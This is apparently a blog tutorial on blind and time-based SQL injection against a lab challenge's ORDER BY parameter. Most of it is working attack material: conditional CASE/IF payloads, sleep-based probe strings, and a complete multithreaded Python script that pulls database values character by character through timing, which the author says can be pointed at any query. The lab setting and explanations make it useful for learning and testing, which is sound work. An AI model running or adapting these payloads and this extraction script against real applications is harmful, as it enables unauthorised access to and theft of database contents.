Anytime I am analysing a web application, I always have my browser setup to go through Burp Suite.

Burp Suite is an intercepting proxy which has a huge number of features and IMO is an absolute must when doing any web hacking.

Looking at the request in Burp, we see:

We can guess that the query that is being run in the background is something like:

1
SELECT id, first_name, last_name FROM employees ORDER BY [injection point]

The actual application gives us different results depending on our input, we have 1 result for each field (id, first_name and last_name) and 1 result for an error (the following page was generated by inserting a single quote (') in the sort_results field):

So we could actually test for 4 different possibilities with a single request, to do this we could inject the following conditional statement:

1
2
3
4
5
case when ascii(substr(current_user(),1,1))=100 then Id
when ascii(substr(current_user(),1,1))=101 then first_name
when ascii(substr(current_user(),1,1))=102 then last_name
else (select table_name from information_schema.columns where
table_name = (select table_name from information_schema.columns)) end

Here we are checking the first character for current_user() against 100 (d), 101 (e) and 102 (f).

If it is a d then the results will be sorted by the Id field, if it is a e they will be sorted by the first_name field, if it is a f they will be sorted by the last_name field and if it isn't any of those 3 then the query will fail and we will get the same page as when we entered the single quote.

But we are going to ignore this and imagine that the application never returns anything, just some generic page.

If this was the case the only option we have is time-based.

To test this all we have to do in this situation is inject sleep(5), if the application is vulnerable the page will take longer to return.

In other situations we might need to try injecting + sleep(5), ' + sleep(5) --, ' + sleep(5) + ', ' union select sleep(5) --, ' union select null, sleep(5)# and so on...

But this application does delay with the simple sleep(5) injected.

Exploitation

Now we can use the information we have already to inject a conditional statement that only delays when we've found the correct character of a string.

Our injection will look something like this:

1
case when ascii(substr(current_user(), 1, 1))=100 then sleep(5) else 0 end

Or:

1
if(ascii(substr(current_user(), 1, 1))=100,sleep(5),0)

Both will work fine.

This time because we are using a time-based approach we want to try to speed things up by writing a script which has the ability to make multiple requests at once.

We can do this using multithreading and in python using the threading module.

I will use Queue for submitting the jobs to the threads and a list for getting the responses.

Here is the script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python

import threading, urllib2, timeit, Queue, sys

if len(sys.argv) > 1:
    max = int(sys.argv[1])
else:
    max = 256

if len(sys.argv) > 2:
    t = int(sys.argv[2])
else:
    t = 3

if max % 2 != 0:
    print "Error: %d not divisible by 2" % max

class getLength(threading.Thread):
    def __init__(self, inq, out):
        threading.Thread.__init__(self)
        self.inq = inq
        self.out = out
        self.query = "current_user%28%29%"

    def run(self):
        while True:
            try:
                bit = self.inq.get(False)
            except Queue.Empty:
                return

            data = "sort_results=if%28length%28" + self.query + "%29+%26+"+str(bit)+"="+str(bit)+",sleep%283%29,0%29"
            url = "http://192.168.2.11/sqli/sql8/index.php"
            t = timeit.Timer("urllib2.urlopen(u, data=d)", "import urllib2; u=\""+url+"\"; d=\""+data+"\"")
            if t.timeit(number=1)>3.0:
                self.out.append(bit)
            self.inq.task_done()

class getCharacter(threading.Thread):
    def __init__(self, inq, out):
        threading.Thread.__init__(self)
        self.inq = inq
        self.out = out
        self.query = "current_user%28%29%"

    def run(self):
        url = "http://192.168.2.11/sqli/sql8/index.php"
        while True:
            max = 256
            mid = 127
            min = 1
            try:
                cpos = self.inq.get(False)
            except Queue.Empty:
                return

            while min != max - 1:
                data = "sort_results=if%28ascii%28substr%28" + self.query + ","+str(cpos+1)+",1%29%29+>+"+str(mid)+",sleep%283%29,0%29"
                t = timeit.Timer("urllib2.urlopen(u, data=d)", "import urllib2; u=\""+url+"\"; d=\""+data+"\"")
                if t.timeit(number=1)>3.0:
                    min = mid + 1
                    mid = min + ((max - min) / 2)
                else:
                    max = mid
                    mid = min + ((max - min) / 2)
            data = "sort_results=if%28ascii%28substr%28" + self.query + ","+str(cpos+1)+",1%29%29+>+"+str(min)+",sleep%283%29,0%29"
            t = timeit.Timer("urllib2.urlopen(u, data=d)", "import urllib2; u=\""+url+"\"; d=\""+data+"\"")
            if t.timeit(number=1)>3.0:
                self.out.append((cpos, chr(max)))
            else:
                self.out.append((cpos, chr(min)))
            self.inq.task_done()

inq = Queue.Queue()
out = []

nin = max
while nin > 1:
    nin /= 2
    inq.put(nin)

threads = []

for i in range(t):
    thread = getLength(inq, out)
    thread.setDaemon(True)
    thread.start()
    threads.append(thread)

inq.join()

for thread in threads:
    thread.join()

length = 0
for i in out:
    length += i

print "The length is " + str(length)

for i in range(length):
    inq.put(i)

out = []

for i in range(t):
    thread = getCharacter(inq, out)
    thread.setDaemon(True)
    thread.start()

inq.join()

s = ''.join([b for a, b in sorted(out, key=lambda t: t[0])])
print s

So firstly, lines 5-8, I set the maximum length of the string that we are looking for, by default its 256 but can be changed by the first argument and should always be a multiple of 2.

Then, lines 10-13, I set the number of threads, by default its 3 because this is the limit that the Secritytube SQLi challenges allow but can be changed by the second argument.

I then create 2 classes that inherit from threading.Thread which allows then to be multithreaded.

The first of these classes, as the name suggests, gets the length of the string resulting from the query that we want to run.

The second, as the name also suggests, gets the characters.

First I launch a bunch of threads to find out the length of the string, and wait until they are finished.

Then I launch a bunch of threads to find out the value of each character.

I'm using 2 different methods of concurrency here, mainly to demonstrate both methods.

Bit-For-Bit Method

The first, to find the length, is a bit-for-bit check, basically I'm checking whether each bit in the result is a 1 or a 0.

To understand this you need to picture the numbers in their binary representation, so let's take the value 73.

So our string is 73 characters long, which means if I run the query length([query]), it returns 73.

The binary representation of 73 is 01001001 using 8 bits.

Each bits value is 2^n, where n is the position of the bit minus 1 starting at the rightmost position.

So the first bit is a 1, its value is 2^0 or 1, the second bit is a 0 its value is 2^1 or 2, but because it is 0 we can ignore it.

If we continue this the bits with a 1 have the values, 1, 8 and 64, if we add these together we get 1+8+64=73.

So you can see how we can get the length of the string of less than 256 characters in no more than 8 requests.

The next question is how do we test if a certain bit is 1 or 0, the answer is bitwise operators.

Here I am using the AND or & operator, which returns a result where only bits in both operands where a 1.

Let's look at our example again, if we do 73 & 1 we get 1, if we do 73 & 2 we get 0 because the bit that represents 2 is not a 1 in 73.

Using this method our conditional query becomes length([query]) & [bit we are testing for] = [bit we are testing for].

This way we can, in theory, test for each bit position in parallel.

Obviously instead of returning 1 if the condition is true we will sleep for 3 seconds and check the response time.

Binary Search Method

The second check, to find out the actual characters, I am using a binary search.

Basically a binary search works by finding the middle of the search range and asking if its greater than that, efeectively narrowing the search by half every request, until the correct value has been found.

Let's take the same example as the example we looked at for the bit-for-bit method, so the value is 73.

The maximum value for 1 byte of data is always 255, so there are 256 possible values.

First we'll ask if 73 > 127, which the answer is no, so the max becomes 127, and the middle becomes min + ((max - min) / 2) or 1 + ((127 - 1) / 2) or 1 + (126 / 2) or 1 + 63 or 64.

Then we go again and ask if 73 > 64, the answer is yes, so the min becomes 65 and the mid becomes min + ((max - min) / 2) or 65 + ((127 - 65) / 2) or 65 + (62 / 2) or 65 + 31 or 96.

We can represent this type of comparison in our injection condition like this:

ascii(substr([query],[position we are testing],1))>[current mid value]

This continues until we find the correct value which takes 8 requests with a 32 bit value (up to 255).

Using this and substituting current_user%28%29 with any query that we want the output of we can enumerate anything in the database that the current user has permissions to view.

Because we know the number of characters we can do multiple characters in parallel.

Conclusion

You should now have a very good idea of how to look for and exploit SQL injection's in a blackbox way.

Every situation will be different which is why, even though a lot of the automated SQL injection tools out there (like sqlmap) are good in a lot of situations, you still need to understand how to do it all manually for when the tools fail.

Being able to script SQL injection tools is a necessity when dealing with blind SQL injections, trying to enumerate even small amounts of data when you only have the ability to extract 1 bit at a time would be a horrible task!

Further Reading

The best book I've read on SQL injection is Justin Clarke's SQL Injection Attacks and Defence and he goes into a lot more detail and situations than I can on this single post.

❌